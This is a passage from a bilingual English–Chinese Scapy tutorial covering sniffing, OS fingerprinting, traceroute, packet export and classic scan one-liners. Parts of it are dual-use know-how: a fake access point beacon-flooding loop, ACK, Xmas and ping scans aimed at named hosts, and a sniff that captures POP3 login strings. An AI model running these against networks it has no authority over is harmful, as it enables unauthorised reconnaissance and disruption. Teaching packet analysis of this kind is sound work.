????? type????? = echo-reply
????? code????? = 0
????? chksum??? = 0x91d9
????? id??????? = 0xc245
????? seq?????? = 0x0
---[ Raw ]---
???????? load????? = 'B\xf7i\xa9\x00\x04\x149\x08\t\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\x22#$%&\'()*+,-./01234567'
---[ Padding ]---
??????????? load????? = '\n_\x00\x0b'

For even more control over displayed information we can use the?sprintf()?function:

對于控制輸出信息,我們可以使用“sprintf()”函數(shù):

>>> pkts = sniff(prn=lambda x:x.sprintf("{IP:%IP.src% -> %IP.dst%\n}{Raw:%Raw.load%\n}"))
192.168.1.100 -> 64.233.167.99

64.233.167.99 -> 192.168.1.100

192.168.1.100 -> 64.233.167.99

192.168.1.100 -> 64.233.167.99
'GET / HTTP/1.1\r\nHost: 64.233.167.99\r\nUser-Agent: Mozilla/5.0
(X11; U; Linux i686; en-US; rv:1.8.1.8) Gecko/20071022 Ubuntu/7.10 (gutsy)
Firefox/2.0.0.8\r\nAccept: text/xml,application/xml,application/xhtml+xml,
text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5\r\nAccept-Language:
en-us,en;q=0.5\r\nAccept-Encoding: gzip,deflate\r\nAccept-Charset:
ISO-8859-1,utf-8;q=0.7,*;q=0.7\r\nKeep-Alive: 300\r\nConnection:
keep-alive\r\nCache-Control: max-age=0\r\n\r\n'

We can sniff and do passive OS fingerprinting:

我們可以嗅探并進行被動操作系統(tǒng)指紋識別:

>>> p
<Ether dst=00:10:4b:b3:7d:4e src=00:40:33:96:7b:60 type=0x800 |<IP version=4L
?ihl=5L tos=0x0 len=60 id=61681 flags=DF frag=0L ttl=64 proto=TCP chksum=0xb85e
?src=192.168.8.10 dst=192.168.8.1 options='' |<TCP sport=46511 dport=80
?seq=2023566040L ack=0L dataofs=10L reserved=0L flags=SEC window=5840
?chksum=0x570c urgptr=0 options=[('Timestamp', (342940201L, 0L)), ('MSS', 1460),
?('NOP', ()), ('SAckOK', ''), ('WScale', 0)] |>>>
>>> load_module("p0f")
>>> p0f(p)
(1.0, ['Linux 2.4.2 - 2.4.14 (1)'])
>>> a=sniff(prn=prnp0f)
(1.0, ['Linux 2.4.2 - 2.4.14 (1)'])
(1.0, ['Linux 2.4.2 - 2.4.14 (1)'])
(0.875, ['Linux 2.4.2 - 2.4.14 (1)', 'Linux 2.4.10 (1)', 'Windows 98 (?)'])
(1.0, ['Windows 2000 (9)'])

The number before the OS guess is the accurracy of the guess.

猜測操作系統(tǒng)版本前的數(shù)字為猜測的精確度。

Filters

Demo of both bpf filter and sprintf() method:

演示一下bpf過濾器和sprintf()方法:

>>> a=sniff(filter="tcp and ( port 25 or port 110 )",
?prn=lambda x: x.sprintf("%IP.src%:%TCP.sport% -> %IP.dst%:%TCP.dport%? %2s,TCP.flags% : %TCP.payload%"))
192.168.8.10:47226 -> 213.228.0.14:110?? S :
213.228.0.14:110 -> 192.168.8.10:47226? SA :
192.168.8.10:47226 -> 213.228.0.14:110?? A :
213.228.0.14:110 -> 192.168.8.10:47226? PA : +OK <13103.1048117923@pop2-1.free.fr>

192.168.8.10:47226 -> 213.228.0.14:110?? A :
192.168.8.10:47226 -> 213.228.0.14:110? PA : USER toto

213.228.0.14:110 -> 192.168.8.10:47226?? A :
213.228.0.14:110 -> 192.168.8.10:47226? PA : +OK

192.168.8.10:47226 -> 213.228.0.14:110?? A :
192.168.8.10:47226 -> 213.228.0.14:110? PA : PASS tata

213.228.0.14:110 -> 192.168.8.10:47226? PA : -ERR authorization failed

192.168.8.10:47226 -> 213.228.0.14:110?? A :
213.228.0.14:110 -> 192.168.8.10:47226? FA :
192.168.8.10:47226 -> 213.228.0.14:110? FA :
213.228.0.14:110 -> 192.168.8.10:47226?? A :

Send and receive in a loop

在循環(huán)中接收和發(fā)送

Here is an example of a (h)ping-like functionnality : you always send the same set of packets to see if something change:

這兒有一個例子來實現(xiàn)類似(h)ping的功能:你一直發(fā)送同樣的數(shù)據(jù)包集合來觀察是否發(fā)生變化:

>>> srloop(IP(dst="www.target.com/30")/TCP())
RECV 1: Ether / IP / TCP 192.168.11.99:80 > 192.168.8.14:20 SA / Padding
fail 3: IP / TCP 192.168.8.14:20 > 192.168.11.96:80 S
??????? IP / TCP 192.168.8.14:20 > 192.168.11.98:80 S
??????? IP / TCP 192.168.8.14:20 > 192.168.11.97:80 S
RECV 1: Ether / IP / TCP 192.168.11.99:80 > 192.168.8.14:20 SA / Padding
fail 3: IP / TCP 192.168.8.14:20 > 192.168.11.96:80 S
??????? IP / TCP 192.168.8.14:20 > 192.168.11.98:80 S
??????? IP / TCP 192.168.8.14:20 > 192.168.11.97:80 S
RECV 1: Ether / IP / TCP 192.168.11.99:80 > 192.168.8.14:20 SA / Padding
fail 3: IP / TCP 192.168.8.14:20 > 192.168.11.96:80 S
??????? IP / TCP 192.168.8.14:20 > 192.168.11.98:80 S
??????? IP / TCP 192.168.8.14:20 > 192.168.11.97:80 S
RECV 1: Ether / IP / TCP 192.168.11.99:80 > 192.168.8.14:20 SA / Padding
fail 3: IP / TCP 192.168.8.14:20 > 192.168.11.96:80 S
??????? IP / TCP 192.168.8.14:20 > 192.168.11.98:80 S
??????? IP / TCP 192.168.8.14:20 > 192.168.11.97:80 S

Importing and Exporting Data

導入和導出數(shù)據(jù)

PCAP

It is often useful to save capture packets to pcap file for use at later time or with different applications

通常可以將數(shù)據(jù)包保存為pcap文件以備后用,或者是供其他的應用程序使用:

>>> wrpcap("temp.cap",pkts)

To restore previously saved pcap file:

還原之前保存的pcap文件:

>>> pkts = rdpcap("temp.cap")

or

>>> pkts = sniff(offline="temp.cap")

Hexdump

Scapy allows you to export recorded packets in various hex formats.

Scapy允許你以不同的十六進制格式輸出編碼的數(shù)據(jù)包。

Use?hexdump()?to display one or more packets using classic hexdump format:

使用“hexdump()”函數(shù)會以經(jīng)典的hexdump格式輸出數(shù)據(jù)包:

>>> hexdump(pkt)
0000?? 00 50 56 FC CE 50 00 0C? 29 2B 53 19 08 00 45 00?? .PV..P..)+S...E.
0010?? 00 54 00 00 40 00 40 01? 5A 7C C0 A8 19 82 04 02?? .T..@.@.Z|......
0020?? 02 01 08 00 9C 90 5A 61? 00 01 E6 DA 70 49 B6 E5?? ......Za....pI..
0030?? 08 00 08 09 0A 0B 0C 0D? 0E 0F 10 11 12 13 14 15?? ................
0040?? 16 17 18 19 1A 1B 1C 1D? 1E 1F 20 21 22 23 24 25?? .......... !"#$%
0050?? 26 27 28 29 2A 2B 2C 2D? 2E 2F 30 31 32 33 34 35?? &'()*+,-./012345
0060?? 36 37????????????????????????????????????????????? 67

Hexdump above can be reimported back into Scapy using?import_hexcap():

使用“import_hexcap()”函數(shù)可以將以上的hexdump重新導入到Scapy中:

>>> pkt_hex = Ether(import_hexcap())
0000?? 00 50 56 FC CE 50 00 0C? 29 2B 53 19 08 00 45 00?? .PV..P..)+S...E.
0010?? 00 54 00 00 40 00 40 01? 5A 7C C0 A8 19 82 04 02?? .T..@.@.Z|......
0020?? 02 01 08 00 9C 90 5A 61? 00 01 E6 DA 70 49 B6 E5?? ......Za....pI..
0030?? 08 00 08 09 0A 0B 0C 0D? 0E 0F 10 11 12 13 14 15?? ................
0040?? 16 17 18 19 1A 1B 1C 1D? 1E 1F 20 21 22 23 24 25?? .......... !"#$%
0050?? 26 27 28 29 2A 2B 2C 2D? 2E 2F 30 31 32 33 34 35?? &'()*+,-./012345
0060?? 36 37????????????????????????????????????????????? 67
>>> pkt_hex
<Ether? dst=00:50:56:fc:ce:50 src=00:0c:29:2b:53:19 type=0x800 |<IP? version=4L
ihl=5L tos=0x0 len=84 id=0 flags=DF frag=0L ttl=64 proto=icmp chksum=0x5a7c
src=192.168.25.130 dst=4.2.2.1 options='' |<ICMP? type=echo-request code=0
chksum=0x9c90 id=0x5a61 seq=0x1 |<Raw? load='\xe6\xdapI\xb6\xe5\x08\x00\x08\t\n
\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e
\x1f !"#$%&\'()*+,-./01234567' |>>>>

Hex string

You can also convert entire packet into a hex string using the?str()?function:

使用“str()”函數(shù)可以將整個數(shù)據(jù)包轉(zhuǎn)換成十六進制字符串:?

>>> pkts = sniff(count = 1)
>>> pkt = pkts[0]
>>> pkt
<Ether? dst=00:50:56:fc:ce:50 src=00:0c:29:2b:53:19 type=0x800 |<IP? version=4L
ihl=5L tos=0x0 len=84 id=0 flags=DF frag=0L ttl=64 proto=icmp chksum=0x5a7c
src=192.168.25.130 dst=4.2.2.1 options='' |<ICMP? type=echo-request code=0
chksum=0x9c90 id=0x5a61 seq=0x1 |<Raw? load='\xe6\xdapI\xb6\xe5\x08\x00\x08\t\n
\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e
\x1f !"#$%&\'()*+,-./01234567' |>>>>
>>> pkt_str = str(pkt)
>>> pkt_str
'\x00PV\xfc\xceP\x00\x0c)+S\x19\x08\x00E\x00\x00T\x00\x00@\x00@\x01Z|\xc0\xa8
\x19\x82\x04\x02\x02\x01\x08\x00\x9c\x90Za\x00\x01\xe6\xdapI\xb6\xe5\x08\x00
\x08\t\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b
\x1c\x1d\x1e\x1f !"#$%&\'()*+,-./01234567'

We can reimport the produced hex string by selecting the appropriate starting layer (e.g.?Ether()).

通過選擇合適的起始層(例如“Ether()”),我們可以重新導入十六進制字符串。

>>> new_pkt = Ether(pkt_str)
>>> new_pkt
<Ether? dst=00:50:56:fc:ce:50 src=00:0c:29:2b:53:19 type=0x800 |<IP? version=4L
ihl=5L tos=0x0 len=84 id=0 flags=DF frag=0L ttl=64 proto=icmp chksum=0x5a7c
src=192.168.25.130 dst=4.2.2.1 options='' |<ICMP? type=echo-request code=0
chksum=0x9c90 id=0x5a61 seq=0x1 |<Raw? load='\xe6\xdapI\xb6\xe5\x08\x00\x08\t\n
\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e
\x1f !"#$%&\'()*+,-./01234567' |>>>>

Base64

Using the?export_object()?function, Scapy can export a base64 encoded Python data structure representing a packet:

使用“export_object()”函數(shù),Scapy可以數(shù)據(jù)包轉(zhuǎn)換成base64編碼的Python數(shù)據(jù)結(jié)構(gòu):

>>> pkt
<Ether? dst=00:50:56:fc:ce:50 src=00:0c:29:2b:53:19 type=0x800 |<IP? version=4L
ihl=5L tos=0x0 len=84 id=0 flags=DF frag=0L ttl=64 proto=icmp chksum=0x5a7c
src=192.168.25.130 dst=4.2.2.1 options='' |<ICMP? type=echo-request code=0
chksum=0x9c90 id=0x5a61 seq=0x1 |<Raw? load='\xe6\xdapI\xb6\xe5\x08\x00\x08\t\n
\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f
!"#$%&\'()*+,-./01234567' |>>>>
>>> export_object(pkt)
eNplVwd4FNcRPt2dTqdTQ0JUUYwN+CgS0gkJONFEs5WxFDB+CdiI8+pupVl0d7uzRUiYtcEGG4ST
OD1OnB6nN6c4cXrvwQmk2U5xA9tgO70XMm+1rA78qdzbfTP/lDfzz7tD4WwmU1C0YiaT2Gqjaiao
bMlhCrsUSYrYoKbmcxZFXSpPiohlZikm6ltb063ZdGpNOjWQ7mhPt62hChHJWTbFvb0O/u1MD2bT
WZXXVCmi9pihUqI3FHdEQslriiVfWFTVT9VYpog6Q7fsjG0qRWtQNwsW1fRTrUg4xZxq5pUx1aS6
...

The output above can be reimported back into Scapy using?import_object():

使用“import_object()”函數(shù),可以將以上輸出重新導入到Scapy中:

>>> new_pkt = import_object()
eNplVwd4FNcRPt2dTqdTQ0JUUYwN+CgS0gkJONFEs5WxFDB+CdiI8+pupVl0d7uzRUiYtcEGG4ST
OD1OnB6nN6c4cXrvwQmk2U5xA9tgO70XMm+1rA78qdzbfTP/lDfzz7tD4WwmU1C0YiaT2Gqjaiao
bMlhCrsUSYrYoKbmcxZFXSpPiohlZikm6ltb063ZdGpNOjWQ7mhPt62hChHJWTbFvb0O/u1MD2bT
WZXXVCmi9pihUqI3FHdEQslriiVfWFTVT9VYpog6Q7fsjG0qRWtQNwsW1fRTrUg4xZxq5pUx1aS6
...
>>> new_pkt
<Ether? dst=00:50:56:fc:ce:50 src=00:0c:29:2b:53:19 type=0x800 |<IP? version=4L
ihl=5L tos=0x0 len=84 id=0 flags=DF frag=0L ttl=64 proto=icmp chksum=0x5a7c
src=192.168.25.130 dst=4.2.2.1 options='' |<ICMP? type=echo-request code=0
chksum=0x9c90 id=0x5a61 seq=0x1 |<Raw? load='\xe6\xdapI\xb6\xe5\x08\x00\x08\t\n
\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f
!"#$%&\'()*+,-./01234567' |>>>>

Sessions

At last Scapy is capable of saving all session variables using the?save_session()?function:

最后可以使用“save_session()”函數(shù)來保存所有的session變量:

>>> dir()
['__builtins__', 'conf', 'new_pkt', 'pkt', 'pkt_export', 'pkt_hex', 'pkt_str', 'pkts']
>>> save_session("session.scapy")

Next time you start Scapy you can load the previous saved session using the?load_session()?command:

使用“l(fā)oad_session()”函數(shù),在下一次你啟動Scapy的時就能加載保存的session:

>>> dir()
['__builtins__', 'conf']
>>> load_session("session.scapy")
>>> dir()
['__builtins__', 'conf', 'new_pkt', 'pkt', 'pkt_export', 'pkt_hex', 'pkt_str', 'pkts']

Making tables

Now we have a demonstration of the?make_table()?presentation function. It takes a list as parameter, and a function who returns a 3-uple. The first element is the value on the x axis from an element of the list, the second is about the y value and the third is the value that we want to see at coordinates (x,y). The result is a table. This function has 2 variants,?make_lined_table()?and?make_tex_table()?to copy/paste into your LaTeX pentest report. Those functions are available as methods of a result object :

現(xiàn)在我們來演示一下“make_table()”函數(shù)的功能。該函數(shù)的需要一個列表和另一個函數(shù)(返回包含三個元素的元組)作為參數(shù)。第一個元素是表格x軸上的一個值,第二個元素是y軸上的值,第三個原始則是坐標(x,y)對應的值,其返回結(jié)果為一個表格。這個函數(shù)有兩個變種,“make_lined_table()”和“make_tex_table()”來復制/粘貼到你的LaTeX報告中。這些函數(shù)都可以作為一個結(jié)果對象的方法:

Here we can see a multi-parallel traceroute (scapy already has a multi TCP traceroute function. See later):

在這里,我們可以看到一個多機并行的traceroute(Scapy的已經(jīng)有一個多TCP路由跟蹤功能,待會兒可以看到):

>>> ans,unans=sr(IP(dst="www.test.fr/30", ttl=(1,6))/TCP())
Received 49 packets, got 24 answers, remaining 0 packets
>>> ans.make_table( lambda (s,r): (s.dst, s.ttl, r.src) )
? 216.15.189.192? 216.15.189.193? 216.15.189.194? 216.15.189.195
1 192.168.8.1???? 192.168.8.1???? 192.168.8.1???? 192.168.8.1
2 81.57.239.254?? 81.57.239.254?? 81.57.239.254?? 81.57.239.254
3 213.228.4.254?? 213.228.4.254?? 213.228.4.254?? 213.228.4.254
4 213.228.3.3???? 213.228.3.3???? 213.228.3.3???? 213.228.3.3
5 193.251.254.1?? 193.251.251.69? 193.251.254.1?? 193.251.251.69
6 193.251.241.174 193.251.241.178 193.251.241.174 193.251.241.178

Here is a more complex example to identify machines from their IPID field. We can see that 172.20.80.200:22 is answered by the same IP stack than 172.20.80.201 and that 172.20.80.197:25 is not answered by the sape IP stack than other ports on the same IP.

這里有個更復雜的例子:從他們的IPID字段中識別主機。我們可以看到172.20.80.200只有22端口做出了應答,而172.20.80.201則對所有的端口都有應答,而且172.20.80.197對25端口沒有應答,但對其他端口都有應答。

>>> ans,unans=sr(IP(dst="172.20.80.192/28")/TCP(dport=[20,21,22,25,53,80]))
Received 142 packets, got 25 answers, remaining 71 packets
>>> ans.make_table(lambda (s,r): (s.dst, s.dport, r.sprintf("%IP.id%")))
?? 172.20.80.196 172.20.80.197 172.20.80.198 172.20.80.200 172.20.80.201
20 0???????????? 4203????????? 7021????????? -???????????? 11562
21 0???????????? 4204????????? 7022????????? -???????????? 11563
22 0???????????? 4205????????? 7023????????? 11561???????? 11564
25 0???????????? 0???????????? 7024????????? -???????????? 11565
53 0???????????? 4207????????? 7025????????? -???????????? 11566
80 0???????????? 4028????????? 7026????????? -???????????? 11567

It can help identify network topologies very easily when playing with TTL, displaying received TTL, etc.

你在使用TTL和顯示接收到的TTL等情況下,它可以很輕松地幫你識別網(wǎng)絡拓撲結(jié)構(gòu)。

Routing

Now scapy has its own routing table, so that you can have your packets routed diffrently than the system:

現(xiàn)在Scapy有自己的路由表了,所以將你的數(shù)據(jù)包以不同于操作系統(tǒng)的方式路由:

>>> conf.route
Network???????? Netmask???????? Gateway???????? Iface
127.0.0.0?????? 255.0.0.0?????? 0.0.0.0???????? lo
192.168.8.0???? 255.255.255.0?? 0.0.0.0???????? eth0
0.0.0.0???????? 0.0.0.0???????? 192.168.8.1???? eth0
>>> conf.route.delt(net="0.0.0.0/0",gw="192.168.8.1")
>>> conf.route.add(net="0.0.0.0/0",gw="192.168.8.254")
>>> conf.route.add(host="192.168.1.1",gw="192.168.8.1")
>>> conf.route
Network???????? Netmask???????? Gateway???????? Iface
127.0.0.0?????? 255.0.0.0?????? 0.0.0.0???????? lo
192.168.8.0???? 255.255.255.0?? 0.0.0.0???????? eth0
0.0.0.0???????? 0.0.0.0???????? 192.168.8.254?? eth0
192.168.1.1???? 255.255.255.255 192.168.8.1???? eth0
>>> conf.route.resync()
>>> conf.route
Network???????? Netmask???????? Gateway???????? Iface
127.0.0.0?????? 255.0.0.0?????? 0.0.0.0???????? lo
192.168.8.0???? 255.255.255.0?? 0.0.0.0???????? eth0
0.0.0.0???????? 0.0.0.0???????? 192.168.8.1???? eth0

Gnuplot

We can easily plot some harvested values using Gnuplot. (Make sure that you have Gnuplot-py and Gnuplot installed.) For example, we can observe the IP ID patterns to know how many distinct IP stacks are used behind a load balancer:

我們可以很容易地將收集起來的數(shù)據(jù)繪制成Gnuplot。(清確保你已經(jīng)安裝了Gnuplot-py和Gnuplot)例如,我們可以通過觀察圖案知道負載平衡器用了多少個不同的IP堆棧:

>>> a,b=sr(IP(dst="www.target.com")/TCP(sport=[RandShort()]*1000))
>>> a.plot(lambda x:x[1].id)
<Gnuplot._Gnuplot.Gnuplot instance at 0xb7d6a74c>

TCP traceroute (2)

Scapy also has a powerful TCP traceroute function. Unlike other traceroute programs that wait for each node to reply before going to the next, scapy sends all the packets at the same time. This has the disadvantage that it can’t know when to stop (thus the maxttl parameter) but the great advantage that it took less than 3 seconds to get this multi-target traceroute result:

Scapy也有強大的TCP traceroute功能。并不像其他traceroute程序那樣,需要等待每個節(jié)點的回應才去下一個節(jié)點,scapy會在同一時間發(fā)送所有的數(shù)據(jù)包。其缺點就是不知道什么時候停止(所以就有maxttl參數(shù)),其巨大的優(yōu)點就是,只用了不到3秒,就可以得到多目標的traceroute結(jié)果:

>>> traceroute(["www.yahoo.com","www.altavista.com","www.wisenut.com","www.copernic.com"],maxttl=20)
Received 80 packets, got 80 answers, remaining 0 packets
?? 193.45.10.88:80??? 216.109.118.79:80? 64.241.242.243:80? 66.94.229.254:80
1? 192.168.8.1??????? 192.168.8.1??????? 192.168.8.1??????? 192.168.8.1
2? 82.243.5.254?????? 82.243.5.254?????? 82.243.5.254?????? 82.243.5.254
3? 213.228.4.254????? 213.228.4.254????? 213.228.4.254????? 213.228.4.254
4? 212.27.50.46?????? 212.27.50.46?????? 212.27.50.46?????? 212.27.50.46
5? 212.27.50.37?????? 212.27.50.41?????? 212.27.50.37?????? 212.27.50.41
6? 212.27.50.34?????? 212.27.50.34?????? 213.228.3.234????? 193.251.251.69
7? 213.248.71.141???? 217.118.239.149??? 208.184.231.214??? 193.251.241.178
8? 213.248.65.81????? 217.118.224.44???? 64.125.31.129????? 193.251.242.98
9? 213.248.70.14????? 213.206.129.85???? 64.125.31.186????? 193.251.243.89
10 193.45.10.88??? SA 213.206.128.160??? 64.125.29.122????? 193.251.254.126
11 193.45.10.88??? SA 206.24.169.41????? 64.125.28.70?????? 216.115.97.178
12 193.45.10.88??? SA 206.24.226.99????? 64.125.28.209????? 66.218.64.146
13 193.45.10.88??? SA 206.24.227.106???? 64.125.29.45?????? 66.218.82.230
14 193.45.10.88??? SA 216.109.74.30????? 64.125.31.214????? 66.94.229.254?? SA
15 193.45.10.88??? SA 216.109.120.149??? 64.124.229.109???? 66.94.229.254?? SA
16 193.45.10.88??? SA 216.109.118.79? SA 64.241.242.243? SA 66.94.229.254?? SA
17 193.45.10.88??? SA 216.109.118.79? SA 64.241.242.243? SA 66.94.229.254?? SA
18 193.45.10.88??? SA 216.109.118.79? SA 64.241.242.243? SA 66.94.229.254?? SA
19 193.45.10.88??? SA 216.109.118.79? SA 64.241.242.243? SA 66.94.229.254?? SA
20 193.45.10.88??? SA 216.109.118.79? SA 64.241.242.243? SA 66.94.229.254?? SA
(<Traceroute: UDP:0 TCP:28 ICMP:52 Other:0>, <Unanswered: UDP:0 TCP:0 ICMP:0 Other:0>)

The last line is in fact a the result of the function : a traceroute result object and a packet list of unanswered packets. The traceroute result is a more specialised version (a subclass, in fact) of a classic result object. We can save it to consult the traceroute result again a bit later, or to deeply inspect one of the answers, for example to check padding.

最后一行實際上是該函數(shù)的返回結(jié)果:traceroute返回一個對象和無應答數(shù)據(jù)包列表。traceroute返回的是一個經(jīng)典返回對象更加特殊的版本(實際上是一個子類)。我們可以將其保存以備后用,或者是進行一些例如檢查填充的更深層次的觀察:

>>> result,unans=_
>>> result.show()
?? 193.45.10.88:80??? 216.109.118.79:80? 64.241.242.243:80? 66.94.229.254:80
1? 192.168.8.1??????? 192.168.8.1??????? 192.168.8.1??????? 192.168.8.1
2? 82.251.4.254?????? 82.251.4.254?????? 82.251.4.254?????? 82.251.4.254
3? 213.228.4.254????? 213.228.4.254????? 213.228.4.254????? 213.228.4.254
[...]
>>> result.filter(lambda x: Padding in x[1])

Like any result object, traceroute objects can be added :

和其他返回對象一樣,traceroute對象也可以相加:

>>> r2,unans=traceroute(["www.voila.com"],maxttl=20)
Received 19 packets, got 19 answers, remaining 1 packets
?? 195.101.94.25:80
1? 192.168.8.1
2? 82.251.4.254
3? 213.228.4.254
4? 212.27.50.169
5? 212.27.50.162
6? 193.252.161.97
7? 193.252.103.86
8? 193.252.103.77
9? 193.252.101.1
10 193.252.227.245
12 195.101.94.25?? SA
13 195.101.94.25?? SA
14 195.101.94.25?? SA
15 195.101.94.25?? SA
16 195.101.94.25?? SA
17 195.101.94.25?? SA
18 195.101.94.25?? SA
19 195.101.94.25?? SA
20 195.101.94.25?? SA
>>>
>>> r3=result+r2
>>> r3.show()
?? 195.101.94.25:80?? 212.23.37.13:80??? 216.109.118.72:80? 64.241.242.243:80? 66.94.229.254:80
1? 192.168.8.1??????? 192.168.8.1??????? 192.168.8.1??????? 192.168.8.1??????? 192.168.8.1
2? 82.251.4.254?????? 82.251.4.254?????? 82.251.4.254?????? 82.251.4.254?????? 82.251.4.254
3? 213.228.4.254????? 213.228.4.254????? 213.228.4.254????? 213.228.4.254????? 213.228.4.254
4? 212.27.50.169????? 212.27.50.169????? 212.27.50.46?????? -????????????????? 212.27.50.46
5? 212.27.50.162????? 212.27.50.162????? 212.27.50.37?????? 212.27.50.41?????? 212.27.50.37
6? 193.252.161.97???? 194.68.129.168???? 212.27.50.34?????? 213.228.3.234????? 193.251.251.69
7? 193.252.103.86???? 212.23.42.33?????? 217.118.239.185??? 208.184.231.214??? 193.251.241.178
8? 193.252.103.77???? 212.23.42.6??????? 217.118.224.44???? 64.125.31.129????? 193.251.242.98
9? 193.252.101.1????? 212.23.37.13??? SA 213.206.129.85???? 64.125.31.186????? 193.251.243.89
10 193.252.227.245??? 212.23.37.13??? SA 213.206.128.160??? 64.125.29.122????? 193.251.254.126
11 -????????????????? 212.23.37.13??? SA 206.24.169.41????? 64.125.28.70?????? 216.115.97.178
12 195.101.94.25?? SA 212.23.37.13??? SA 206.24.226.100???? 64.125.28.209????? 216.115.101.46
13 195.101.94.25?? SA 212.23.37.13??? SA 206.24.238.166???? 64.125.29.45?????? 66.218.82.234
14 195.101.94.25?? SA 212.23.37.13??? SA 216.109.74.30????? 64.125.31.214????? 66.94.229.254?? SA
15 195.101.94.25?? SA 212.23.37.13??? SA 216.109.120.151??? 64.124.229.109???? 66.94.229.254?? SA
16 195.101.94.25?? SA 212.23.37.13??? SA 216.109.118.72? SA 64.241.242.243? SA 66.94.229.254?? SA
17 195.101.94.25?? SA 212.23.37.13??? SA 216.109.118.72? SA 64.241.242.243? SA 66.94.229.254?? SA
18 195.101.94.25?? SA 212.23.37.13??? SA 216.109.118.72? SA 64.241.242.243? SA 66.94.229.254?? SA
19 195.101.94.25?? SA 212.23.37.13??? SA 216.109.118.72? SA 64.241.242.243? SA 66.94.229.254?? SA
20 195.101.94.25?? SA 212.23.37.13??? SA 216.109.118.72? SA 64.241.242.243? SA 66.94.229.254?? SA

Traceroute result object also have a very neat feature: they can make a directed graph from all the routes they got, and cluster them by AS. You will need graphviz. By default, ImageMagick is used to display the graph.

Traceroute返回對象有一個非常實用的功能:他們會將得到的所有路線做成一個有向圖,并用AS組織路線。你需要安裝graphviz。在默認情況下會使用ImageMagick顯示圖形。

>>> res,unans = traceroute(["www.microsoft.com","www.cisco.com","www.yahoo.com","www.wanadoo.fr","www.pacsec.com"],dport=[80,443],maxttl=20,retry=-2)
Received 190 packets, got 190 answers, remaining 10 packets
?? 193.252.122.103:443 193.252.122.103:80 198.133.219.25:443 198.133.219.25:80? 207.46...
1? 192.168.8.1???????? 192.168.8.1??????? 192.168.8.1??????? 192.168.8.1??????? 192.16...
2? 82.251.4.254??????? 82.251.4.254?????? 82.251.4.254?????? 82.251.4.254?????? 82.251...
3? 213.228.4.254?????? 213.228.4.254????? 213.228.4.254????? 213.228.4.254????? 213.22...
[...]
>>> res.graph()????????????????????????? # piped to ImageMagick's display program. Image below.
>>> res.graph(type="ps",target="| lp")?? # piped to postscript printer
>>> res.graph(target="> /tmp/graph.svg") # saved to file

If you have VPython installed, you also can have a 3D representation of the traceroute. With the right button, you can rotate the scene, with the middle button, you can zoom, with the left button, you can move the scene. If you click on a ball, it’s IP will appear/disappear. If you Ctrl-click on a ball, ports 21, 22, 23, 25, 80 and 443 will be scanned and the result displayed:

如果你安裝了VPython,你就可以用3D來表示traceroute。右邊的按鈕是旋轉(zhuǎn)圖案,中間的按鈕是放大縮小,左邊的按鈕是移動圖案。如果你單擊一個球,它的IP地址就會出現(xiàn)/消失。如果你按住Ctrl單擊一個球,就會掃描21,22,23,25,80443端口,并顯示結(jié)果:

>>> res.trace3D()

Wireless frame injection

Provided that your wireless card and driver are correctly configured for frame injection

frame injection的前提是你的無線網(wǎng)卡和驅(qū)動得正確配置好。

$ ifconfig wlan0 up
$ iwpriv wlan0 hostapd 1
$ ifconfig wlan0ap up

you can have a kind of FakeAP:

你可以造一個FakeAP

>>> sendp(Dot11(addr1="ff:ff:ff:ff:ff:ff",addr2=RandMAC(),addr3=RandMAC())/
????????? Dot11Beacon(cap="ESS")/
????????? Dot11Elt(ID="SSID",info=RandString(RandNum(1,50)))/
????????? Dot11Elt(ID="Rates",info='\x82\x84\x0b\x16')/
????????? Dot11Elt(ID="DSset",info="\x03")/
????????? Dot11Elt(ID="TIM",info="\x00\x01\x00\x00"),iface="wlan0ap",loop=1)

Simple one-liners

ACK Scan

Using Scapy’s powerful packet crafting facilities we can quick replicate classic TCP Scans. For example, the following string will be sent to simulate an ACK Scan:

>>> ans,unans = sr(IP(dst="www.slashdot.org")/TCP(dport=[80,666],flags="A"))

We can find unfiltered ports in answered packets:

>>> for s,r in ans:
... ????if s[TCP].dport == r[TCP].sport:
... ???????print str(s[TCP].dport) + " is unfiltered"

Similarly, filtered ports can be found with unanswered packets:

>>> for s in unans:
... ????print str(s[TCP].dport) + " is filtered"

Xmas Scan

Xmas Scan can be launced using the following command:

>>> ans,unans = sr(IP(dst="192.168.1.1")/TCP(dport=666,flags="FPU") )

Checking RST responses will reveal closed ports on the target.

IP Scan

A lower level IP Scan can be used to enumerate supported protocols:

>>> ans,unans=sr(IP(dst="192.168.1.1",proto=(0,255))/"SCAPY",retry=2)

ARP Ping

The fastest way to discover hosts on a local ethernet network is to use the ARP Ping method:

>>> ans,unans=srp(Ether(dst="ff:ff:ff:ff:ff:ff")/ARP(pdst="192.168.1.0/24"),timeout=2)

Answers can be reviewed with the following command:

>>> ans.summary(lambda (s,r): r.sprintf("%Ether.src% %ARP.psrc%") )

Scapy also includes a built-in arping() function which performs similar to the above two commands:

>>> arping("192.168.1.*")

ICMP Ping

Classical ICMP Ping can be emulated using the following command:

>>> ans,unans=sr(IP(dst="192.168.1.1-254")/ICMP())

Information on live hosts can be collected with the following request:

>>> ans.summary(lambda (s,r): r.sprintf("%IP.src% is alive") )

TCP Ping

In cases where ICMP echo requests are blocked, we can still use various TCP Pings such as TCP SYN Ping below:

>>> ans,unans=sr( IP(dst="192.168.1.*")/TCP(dport=80,flags="S") )

Any response to our probes will indicate a live host. We can collect results with the following command:

>>> ans.summary( lambda(s,r) : r.sprintf("%IP.src% is alive") )

UDP Ping

If all else fails there is always UDP Ping which will produce ICMP Port unreachable errors from live hosts. Here you can pick any port which is most likely to be closed, such as port 0:

>>> ans,unans=sr( IP(dst="192.168.*.1-10")/UDP(dport=0) )

Once again, results can be collected with this command:

